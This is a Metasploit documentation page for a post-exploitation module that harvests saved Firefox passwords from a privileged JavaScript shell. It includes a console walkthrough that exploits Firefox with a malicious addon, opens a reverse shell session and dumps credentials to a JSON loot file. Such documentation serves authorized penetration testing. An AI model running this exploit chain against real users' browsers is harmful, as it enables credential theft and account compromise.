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rapid7
GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/post/firefox/gather/passwords.md
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Vulnerable Application

This post-exploitation module allows the collection of saved Firefox passwords from a Firefox privileged javascript shell.

Verification Steps

  1. Start msfconsole

  2. Get privileged javascript session

  3. Do: use post/firefox/gather/passwords

  4. Do: set SESSION <session id>

  5. Do: run

  6. You should be able to see all saved Firefox passwords in the loot file in JSON format

Options

  • SESSION - The session to run the module on.

  • TIMEOUT - Maximum time (seconds) to wait for a response. The default value is 90.

Scenarios

Obtain a privileged javascript shell and gather saved Firefox passwords

To be able to use this module, a privileged javascript shell is needed. It can be obtained by using a javascript privilege exploit like exploit/multi/browser/firefox_proto_crmfrequest, exploit/multi/browser/firefox_proxy_prototype or others. In the example case of the firefox_proto_crmfrequest exploit use set TARGET 0 to use a javascript shell.

msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(firefox_proto_crmfrequest) > set TARGET 0
TARGET => 0
msf exploit(firefox_proto_crmfrequest) > run
[*] Exploit running as background job.
msf exploit(firefox_proto_crmfrequest) >
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/nbHsSeXAfjr
[*] Local IP: http://192.168.2.117:8080/nbHsSeXAfjr
[*] Server started.
[*] Gathering target information for 192.168.2.117
[*] Sending HTML response to 192.168.2.117
[*] Sending HTML
[*] Sending the malicious addon
[*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.117:35100) at 2016-10-08 00:33:09 +0200

msf exploit(firefox_proto_crmfrequest) > use post/firefox/gather/passwords
msf post(passwords) > set SESSION 1
SESSION => 1
msf post(passwords) > run

[*] Running the privileged javascript...
[+] Saved 1 passwords to /home/user/.msf4/loot/20161008003433_default_192.168.2.117_firefox.password_070261.txt
[*] Post module execution completed

The loot file then contains all passwords in json format, like so:

[  
   {  
      "password":"1234",
      "passwordField":"pwd",
      "username":"admin",
      "usernameField":"log",
      "httpRealm":"",
      "formSubmitURL":"https://example.com",
      "hostname":"https://example.com"
   }
]